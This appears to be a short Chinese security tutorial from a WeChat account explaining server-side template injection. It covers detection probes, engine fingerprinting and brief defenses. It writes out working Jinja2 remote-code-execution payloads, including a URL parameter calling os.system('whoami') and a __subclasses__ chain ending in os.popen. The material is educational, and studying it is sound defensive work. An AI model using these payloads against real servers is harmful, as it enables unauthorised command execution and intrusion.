SSTI(Server-Side Template Injection),服务端模板注入,是攻击者通过向模板引擎(如Jinja2、Thymeleaf)注入恶意代码,进而控制服务器的高危漏洞。
举例:如果一个网页的URL参数未过滤,输入{{7*7}}返回了49,则说明存在SSTI漏洞。
模板引擎(如Jinja2、Thymeleaf、Freemarker)是动态网页的“自动生成器”,它允许开发者用占位符(如{{变量}})动态渲染内容。
但当开发者直接将用户输入拼接到模板中时,攻击者就能插入恶意代码,让模板引擎误以为是“合法指令”从而进行了执行。
第一步:输入简单表达式
尝试在参数中输入模板语法(不同引擎语法不同):
- Jinja2(Python):{{7*7}} → 若返回49则存在漏洞
- Twig(PHP):{{7*7}} → 返回49
- Freemarker(Java):${7*7} → 返回49
第二步:确认模板类型
输入无效语法触发错误信息(如Jinja2的UndefinedError、Freemarker的FreeMarker template error)。
第三步:漏洞利用
漏洞代码:
攻击payload:
http://example.com/hello?name={{config.__class__.__init__.__globals__['os'].system('whoami')}}
案例:通过Jinja2实现RCE(远程代码执行)。
探测对象属性
{{ ''.__class__}} -> 显示字符串对象的类(<class 'str'>)
追溯继承链
{{ ''.__class__.__mro__}} -> 显示继承链,找到object基类
加载危险模块
{{ ''.__class__.__mro__[1].__subclasses__()[X]}}
# 遍历子类找到os._wrap_close类(X为索引值,通常为134-150)
执行系统命令
{{ config.__class__.__init__.__globals__['os'].popen('whoami').read() }}
# 执行Linux的whoami命令并返回结果
- 数据窃取。
- 权限提升。
- 持久化后门。
- 代码层:输入过滤与白名单。
- 引擎配置:禁用危险功能。
- 架构层:隔离与监控。
- 最小权限原则:限制模板引擎的权限(禁止执行系统命令)。
防御的核心在于:永远不要相信用户的输入,永远不要让模板引擎处理未净化的数据。
如果你在测试一个网站时,发现URL参数中包含 name=Bob,页面显示为 Hello Bob。
你会如何快速判断是否存在SSTI漏洞?
原文始发于微信公众号(小白学安全):网安60秒丨SSTI
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论